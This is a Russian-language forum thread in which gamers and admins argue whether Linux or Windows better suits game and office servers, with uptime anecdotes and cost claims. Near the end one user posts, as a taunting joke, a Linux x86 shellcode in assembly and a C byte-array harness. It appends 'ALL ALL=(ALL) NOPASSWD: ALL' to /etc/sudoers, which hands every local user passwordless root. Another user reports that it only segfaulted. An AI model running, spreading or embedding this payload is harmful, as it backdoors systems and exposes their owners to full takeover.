Linux vs Windows (Перенос..)

[tovarisch_Ko]

Кто подскажет как командер под линуксом запустить?

А зачем парится и изгаляться под Линуксом?
Он же дороже, сложнее в настройках и управлении, менее стабилен, наконец, чем винда.
Сплошные неудобства и большие затраты времени.
Линукс это для пионеров которым нечем заняться или для узких профессионалов, для решения их же узкоспециализированных задач.

[DnK]

А зачем парится и изгаляться под Линуксом?
Он же дороже, сложнее в настройках и управлении, менее стабилен, наконец, чем винда.
Сплошные неудобства и большие затраты времени.
Линукс это для пионеров которым нечем заняться или для узких профессионалов, для решения их же узкоспециализированных задач.

Ко, дорогой, когда 11 регионов РФ опутаны только одним провайдером, с дикими ценами на внешний инет, и руководство этого провайдера устанавливает правила "только под линукс", то некуда деватся... там тоже летают товарищи с "нуля". Два года бился по установке сервера под винду и т.д.... у очень многих нет вообще возможности по анлиму или "внешке" выходить. тут или "бросить ил" или "париться".

[Waso]

А зачем парится и изгаляться под Линуксом?
Он же дороже, сложнее в настройках и управлении, менее стабилен, наконец, чем винда.
Сплошные неудобства и большие затраты времени.
Линукс это для пионеров которым нечем заняться или для узких профессионалов, для решения их же узкоспециализированных задач.

Юмор?

[DogEater]

Юмор?

Видимо, товарищ не знает что такой бить баклуши при аптайме от пары лет и выше...

[tovarisch_Ko]

Ко, дорогой, когда 11 регионов РФ опутаны только одним провайдером, с дикими ценами на внешний инет, и руководство этого провайдера устанавливает правила "только под линукс", то некуда деватся... там тоже летают товарищи с "нуля". Два года бился по установке сервера под винду и т.д.... у очень многих нет вообще возможности по анлиму или "внешке" выходить. тут или "бросить ил" или "париться".

Да понятно, что NIX-специалистам надо как-то поддерживать свою нужность и оправданность эксклюзивных зар...положения.
А зачем биться по установке на сервер винды, не проще поставить собственный сервер как железку и ни у кого тогда не спрашивать ни советов, ни разрешений - что ставить на эту собственную железку?
Нынче вон родные интеловские "легкие" 1U cервера совсем не дороги, как, хотя бы они же, 3-4 года назад, да еще и монитор никакой не нужен...
Или у провайдера действительно так жестко, что он и клиентов со своим железом ограничивает, что им там и как на нем делать?

Добавлено через 2 минуты

Юмор?

Вовсе нет. Просто не нужно "прикручивать" то, что предназначено для решения совсем других задач, к задачам для которых вполне годятся более простые и дешевые решения.

[tovarisch_Ko]

Видимо, товарищ не знает что такой бить баклуши при аптайме от пары лет и выше...

Почему не знаю, очень даже до 2004 года дома сидел на диалапе, междугороднем, потому как на краю города и ни один провайдер не желал тянуть провода ради 3-4-5 клиентов, всего-то через 3 дома.
Теперь есть АДСЛ, то же ждал 1,5 год, пока "оборудование установят на АТС" и пошли они воздушники... кабель зарытый в земле и сертифицированное оборудование лучше, чем сидеть летом в грозы по 2-3 недели без связи.

Добавлено через 3 минуты

это смотря где. У нас хостинг берет на 10 евронов больше за винду, чем за линух.

Это за собственный сервер клиента или все же за предоставленные самим провайдером сервер?
Надеюсь мы об одном говорим - о коллокейшн?

А софт нулевый переносится на Линукс без проблем, т.к. и Питон, и Firebird SQL существут NIXовые.

[tovarisch_Ko]

Всетаки он не знает

Про монополиста, дикие цены и что народу нужен хотя бы внутренний сервер?
И все равно это не отменят, что своя железка с виндой проще и дешевле, или тут тоже все так плохо с монополистом?

[Waso]

А зачем парится и изгаляться под Линуксом?
Он же дороже, сложнее в настройках и управлении, менее стабилен, наконец, чем винда.
Сплошные неудобства и большие затраты времени.

Коли не юмор, то раскажите тогда чем линукс дороже, чем сложнее и особенно менее стабилен? А то голословность сплошная выходит.

Линукс это для пионеров которым нечем заняться или для узких профессионалов, для решения их же узкоспециализированных задач.

А Win2003 предназначена для общего пользования? Гы...смешно
Не надо в одну кучку складывать десктопы и серверы, тут разговор о серверах идет..."как бе".
Кстати, был случай, одной тетке, буху, поставили какую-то кубунту на рабочую машину, сказали что это новая винда и она до сих пор всем довольна. Эску она все-равно по RDP брала.

Добавлено через 1 минуту

Про монополиста, дикие цены и что народу нужен хотя бы внутренний сервер?
И все равно это не отменят, что своя железка с виндой проще и дешевле, или тут тоже все так плохо с монополистом?

Это с чего своя железка с виндой стала дешевле? Али вы просто не знаете, что продукт от фирмы Майкрософт стоит денег?
Или может быть вы наивно полагаете, что любой провайдер вам даст припереть какой-нибудь свой мидл-тауэр собранный из подручных материалов и сунуть его "тут рядышком в уголке"?

P.S. Holy war я разводить нисколько не собираюсь...ибо глупое занятие

[SilverFox]

Про монополиста, дикие цены и что народу нужен хотя бы внутренний сервер?
И все равно это не отменят, что своя железка с виндой проще и дешевле, или тут тоже все так плохо с монополистом?

Нет - про это :

Видимо, товарищ не знает что такой бить баклуши при аптайме от пары лет и выше...

У меня серваки пока новые , столько не наработали, но старые и поболее 2 лет работали без перезагрузки. То есть настроил поставил и бей баклуши

[sfox@main ~]$ top
top - 12:21:17 up 201 days,
А вот бухсерверу на 2003 MS стока наработать никак не получается

[tovarisch_Ko]

Коли не юмор, то раскажите тогда чем линукс дороже, чем сложнее и особенно менее стабилен? А то голословность сплошная выходит.

Тем дороже и сложнее, что специалисты для него дороже в разы и реже к тому же значительно, пионеры, которые изучают продукт в процессе установки и эксплуатации никому нафиг не нужны.
Или вы думаете, что вся стоимость системы определяется только стоимостью дистрибутива и железа? Наверняка ведь знаете про понятие "стоимость владения"?
А стабильность вообще понятие слабоопределяемое, хотя бы в силу применимости продукта, вот у меня Линукс абсолютно не стабилен, потому как попросту не применим.

А Win2003 предназначена для общего пользования? Гы...смешно
Не надо в одну кучку складывать десктопы и серверы, тут разговор о серверах идет..."как бе".

А интересно, для чего еще по вашему?
Про десктопы и речи нет.

Это с чего своя железка с виндой стала дешевле?

Потому что один раз заплатил за неё и далее провайдеру только за размещение и трафик.

Али вы просто не знаете, что продукт от фирмы Майкрософт стоит денег?

Разумеется стоит денег, при чем не намного дороже такого же коробочного NIX дистрибутива с нормальной подпиской-поддержкой.

Или может быть вы наивно полагаете, что любой провайдер вам даст припереть какой-нибудь свой мидл-тауэр собранный из подручных материалов и сунуть его "тут рядышком в уголке"?

Провайдер который пускает к себе с мидл-тауэрами и не провайдер вовсе, так железо-помойка, тут даже рассматривать нечего.

Добавлено через 13 минут

Нет - про это :

У меня серваки пока новые , столько не наработали, но старые и поболее 2 лет работали без перезагрузки. То есть настроил поставил и бей баклуши

А меня не новые, уже 6 лет под 2000 виндой и MS SQL работают, так же все в порядке, только пылесосить иногда надо, потому как стоят просто в оффисе.

[SilverFox]

А меня не новые, уже 6 лет под 2000 виндой и MS SQL работают, так же все в порядке, только пылесосить иногда надо, потому как стоят просто в оффисе.

Все одно не не понимаешь нас что ли ?
Приведи время работы без перезагрузки твоих компов - up time.

[tovarisch_Ko]

Все одно не не понимаешь нас что ли ?
Приведи время работы без перезагрузки твоих компов - up time.

Все 6 лет. Выключаются раз в год для профилактики железа (пылесос).
Сервер Нуля без перезагрузки работал с момента запуска до мая прошлого года, когда переставили систему ради некоторых новых фич, при чем через 4 месяца после запуска пережил смену платформы (железа) без переустановки софта.
Это спор бессмысленный. Винда уже давно ни чем не хуже Линукса, в плане стабильности, что собственно доказывается её куда большей распространённостью, а серверная вообще никогда не была хуже. В плане же удобства администрирования Линукс всегда уступал.

[Waso]

Тем дороже и сложнее, что специалисты для него дороже в разы и реже к тому же значительно, пионеры, которые изучают продукт в процессе установки и эксплуатации никому нафиг не нужны.
Или вы думаете, что вся стоимость системы определяется только стоимостью дистрибутива и железа? Наверняка ведь знаете про понятие "стоимость владения"?
А стабильность вообще понятие слабоопределяемое, хотя бы в силу применимости продукта, вот у меня Линукс абсолютно не стабилен, потому как попросту не применим.

А я по наивности думал, что любые специалисты стоят дорого. А оказывается спецы винды дешевле...каковы спецы, такова и цена.

А для меня стабильность это в первую очередь стабильность работы.

Опять же есть пример. У меня Иловский сервер крутится под 2k3, на которую у меня только гостевой вход. Машина вполне себе на правильном железе, вполне себе работает не в экстремальных режимах, и в присутствии хозяина ведет себя вполне адектватно. Но вот стоило ему уехать на длительные каникулы и машина через три недели сама по себе стала виснуть раз в сутки. Просто тупо уходит со связи и все тут. Теперь вот ждём возвращения хозяина как маны небесной. Вот такие вещи я вкладываю в понятие стабильности.

А интересно, для чего еще по вашему?

Для общего пользования существуют десктопные операционки. Хотя если вам нравится забивать гвозди микроскопом...

Потому что один раз заплатил за неё и далее провайдеру только за размещение и трафик.

А в случае линукса надо за что-то платить дополнительно?

Кстати!, сама по себе винда полный ноль...просто окна без всего. Так что к стоимости операционки прибавляйте стоимости расширения функциональности и сервисов. А это уже сумма. Кстати, для чего нульваровский сервер использует бесплатные и совсем неродные для M$ пайтон, зопу и файрберд, если мог с огромным для себя преимуществом работать под IIS и быть написаным на си-шарпе с базой в MS SQL? Тем более это должно было уменьшить "стоимость владения".

P.S. А если в общем, то моё мнение всегда было и будет оставаться следующим - выбирать инструмент нужно прежде всего исходя из задачи. Про микроскоп я уже написал.

[tovarisch_Ko]

А я по наивности думал, что любые специалисты стоят дорого. А оказывается спецы винды дешевле...каковы спецы, такова и цена.

Возможно, но скорее всего конкуренция, специалистов под винду больше и она проще, отсюда зарплата ниже. Вы бы еще Оракловцев или Цисковцев вспомнили.

А для меня стабильность это в первую очередь стабильность работы.

Как будьто есть другое понятие.
У меня вот тоже есть знакомый построивший сервер под серьезный проект все железо правильное - платформа не левая интеловская, всякие там 4-х ядерники, много правильной памяти, рэйды и пр. террабайты, и теперь жалуется на сбои, под Линуксом как раз => Линукс не стабилен нифига

Кстати!, сама по себе винда полный ноль...просто окна без всего. Так что к стоимости операционки прибавляйте стоимости расширения функциональности и сервисов. А это уже сумма.

Это про любую операционку можно сказать - они для того и существует, чтобы застваить груду железа выполнять полезные функции.
А уж какие, это определяется надстройками.

Кстати, для чего нульваровский сервер использует бесплатные и совсем неродные для M$ пайтон, зопу и файрберд, если мог с огромным для себя преимуществом работать под IIS и быть написаным на си-шарпе с базой в MS SQL? Тем более это должно было уменьшить "стоимость владения".

А кто будет платить за переход от Файрберда на MSSQL или перекодировать с Пайтона на C#? И почему они собственно не родные?
Никаких виртуальных машин и т.п. для них запускать не надо ведь.

P.S. А если в общем, то моё мнение всегда было и будет оставаться следующим - выбирать инструмент нужно прежде всего исходя из задачи. Про микроскоп я уже написал.

Вот именно, к чему и пришли, раз Ил изначально сделали под винду, то нефиг и изгаляться.

[Waso]

Возможно, но скорее всего конкуренция, специалистов под винду больше и она проще, отсюда зарплата ниже. Вы бы еще Оракловцев или Цисковцев вспомнили.

А чего их вспоминать. Не считаю себя крутым цискарём, но хлеб приходится зарабатывать то циски перетряхивая, то линуха перелопачивая.
Я почему винду недолюбливаю...она суть "чёрный ящик". Что происходит внутри можно только гадать и при этом ни разу не попасть в правильный ответ

У меня вот тоже есть знакомый построивший сервер под серьезный проект все железо правильное - платформа не левая интеловская, всякие там 4-х ядерники, много правильной памяти, рэйды и пр. террабайты, и теперь жалуется на сбои, под Линуксом как раз => Линукс не стабилен нифига

Странно это...весьма

А кто будет платить за переход от Файрберда на MSSQL или перекодировать с Пайтона на C#? И почему они собственно не родные?
Никаких виртуальных машин и т.п. для них запускать не надо ведь.

Они родом фром *nix, все до единого. Ну разве что файрбёрд странный перебежчик-оборотень из винды

P.S. Ладно, хорош офтопить. Это конечно интересно, только толку ноль. Кстати, а вы для чего в эту тему вообще зашли?

[tovarisch_Ko]

Они родом фром *nix, все до единого. Ну разве что файрбёрд странный перебежчик-оборотень из винды

С чего это вдруг? То что они свободно распространяемые и их сначала реализовали под NIХы ещё ничего не значит.

Странно это...весьма

Ничего странного. Проблемы с софтом, т.к. с железом их нет, и дело не в стабильности Линукса как платформы, и не кривые руки там у кого надо, но...

P.S. Ладно, хорош офтопить. Это конечно интересно, только толку ноль. Кстати, а вы для чего в эту тему вообще зашли?

Любопытства ради - чего это народ придумывает себе сложности, а потом мужественно их преодолевает.
Ничего против Линукса и пр. NIXов не имею, как и против их приверженцев, просто хотел узнать, зачем конкретно в этом случае...

[=SF=Andre]

У меня FTP сервер + технический форум стоит под 2003 и вопросов нет, работает как часики, а вот сервер, что под пингвином порядком всем уже надоел, сборку ту, что работает, собирали несколько человек, а фактически один. Так вот, когда пингвин падает, все только разводят руками и смотрят в рот системному администратору, и в чём плюс, в том, что человек молится на пингвина ? Вот вам и царь и Бог в одном лице, да и вообще, что теперь на одного человека молится ? Где унифицированность ?
Лично для себя я сделал вывод, всё что нужно для серверной части, так это стабильность и понимание тех, кто эту систему обслуживает. Как сказал один товарищ, который в совершенстве работает в сервеной части винди и люнекса, Не ставьте люникс - это сборище глюков и он достаточно неповоротлив..........

[DogEater]

Спор стар как мир. Похоже здесь образовался филиал ЛОР или опеннета.
Вы(виндузятники и линуксоиды) ещё БСДшников задирать начните для абсолютного счастья.

[tovarisch_Ko]

Спор стар как мир. Похоже здесь образовался филиал ЛОР или опеннета.
Вы(виндузятники и линуксоиды) ещё БСДшников задирать начните для абсолютного счастья.

Спор возник на вопросе - зачем ставить Линукс, там где необходимости в нем нет?
И тему сразу увели в сторону спора что лучше.
NIXы не хуже и не лучше винды, всему свое применение, в примении их к Ил-2 есть большое сомнение, развеять которое ни как не получается.

Что лучше или хуже, все зависит от точки зрения, естественно каждый профессионал будет доказывать свою нужность, но есть еще и точка зрения пользователя-потребителя-заказчика, т.е. тогокто будет работать и того кто будет поддерживать.

Добавлено через 5 минут

Я почему винду недолюбливаю...она суть "чёрный ящик". Что происходит внутри можно только гадать и при этом ни разу не попасть в правильный ответ

То же самое можно сказать про Линукс, если ты не являешься его разработчиком-кодировщиком, а пользователи, да и админы таковыми обычно не являются.
Да, в Линукс "ящички" поменьше, зато их побольше, и что на самом деле лучше - еще можно поспорить.
А проблемы, у разработчиков, и там и там одинаковые, и решаются они одинаково, потому как Линукс уже давно разрабатывается на тех же принципах, что и винда, у них только принцип распространения и поддержки отличается, что не в пользу Линукс, сейчас.

[DogEater]

Глубокая мастурбация с wine ИМО не стоит того. Надёжнее не станет.
То, что отсутствует версия сервера Ила под linux/bsd - печально - но это факт.
собственно всё.

[tovarisch_Ko]

...
Лично для себя я сделал вывод, всё что нужно для серверной части, так это стабильность и понимание тех, кто эту систему обслуживает. Как сказал один товарищ, который в совершенстве работает в сервеной части винди и люнекса, Не ставьте люникс - это сборище глюков и он достаточно неповоротлив..........

Все правильно, Линукс сейчас это "пальцы", единственная необходимость в нем - чтобы Микрософт не заснул.

Добавлено через 1 минуту

Глубокая мастурбация с wine ИМО не стоит того. Надёжнее не станет.
То, что отсутствует версия сервера Ила под linux/bsd - печально - но это факт.
собственно всё.

И не будет никогда - спрос и так не велик и тратить усилия никто не будет, да и смысла нет - все равно игровая платформа виндовая, а не NIXовая, скорее под игроприставки напишут, что собственно уже и делается.

[basurman]

... Как сказал один товарищ, который в совершенстве работает в сервеной части винди и люнекса, Не ставьте люникс - это сборище глюков и он достаточно неповоротлив..........

А мужики то не знают, у которых QNX стоит...
Им надо срочно на винду переходить...

[Youss]

А для меня стабильность это в первую очередь стабильность работы.

вы еще верите в линух? тогда мы летим к вам!

Author: Rick
Email: rick2600@hotmail.com

OS: Linux/x86
Description: Anyone can run sudo without password

section .text
global _start

_start:

;open("/etc/sudoers", O_WRONLY | O_APPEND);
xor eax, eax
push eax
push 0x7372656f
push 0x6475732f
push 0x6374652f
mov ebx, esp
mov cx, 0x401
mov al, 0x05
int 0x80

mov ebx, eax

;write(fd, ALL ALL=(ALL) NOPASSWD: ALL\n, len);
xor eax, eax
push eax
push 0x0a4c4c41
push 0x203a4457
push 0x53534150
push 0x4f4e2029
push 0x4c4c4128
push 0x3d4c4c41
push 0x204c4c41
mov ecx, esp
mov dl, 0x1c
mov al, 0x04
int 0x80

;close(file)
mov al, 0x06
int 0x80

;exit(0);
xor ebx, ebx
mov al, 0x01
int 0x80

*/

#include <stdio.h>
#include <string.h>

char code[] =
"\x31\xc0\x50\x68\x6f\x65\x72\x73\x68\x2f\x73\x75\x64"
"\x68\x2f\x65\x74\x63\x89\xe3\x66\xb9\x01\x04\xb0\x05"
"\xcd\x80\x89\xc3\x31\xc0\x50\x68\x41\x4c\x4c\x0a\x68"
"\x57\x44\x3a\x20\x68\x50\x41\x53\x53\x68\x29\x20\x4e"
"\x4f\x68\x28\x41\x4c\x4c\x68\x41\x4c\x4c\x3d\x68\x41"
"\x4c\x4c\x20\x89\xe1\xb2\x1c\xb0\x04\xcd\x80\xb0\x06"
"\xcd\x80\x31\xdb\xb0\x01\xcd\x80";

void main(void) {

void (*shellcode)() = code;
shellcode();

}

[RR_Vespertinus]

Да уж, смешной спор...

а мужики в всяких яндексах, гуглах и т.п. и не знают, что оказывается винда то надежнее и наверно по своей природной глупости ставят на тысячи серверов линукс или FreeBSD. и эти сервера работают годами под нехилыми нагрузками.

Добавлено через 12 минут

вы еще верите в линух? тогда мы летим к вам!
...SKIP...

а сами проверяли?

проверил на 3х дистрибутивах, ни на одном это ни к чему не привело, кроме сегфолта (попытка доступа в чужую память)

[basurman]

проверил на 3х дистрибутивах, ни на одном это ни к чему не привело, кроме сегфолта (попытка доступа в чужую память)

Значит это неправильные дистрибутивы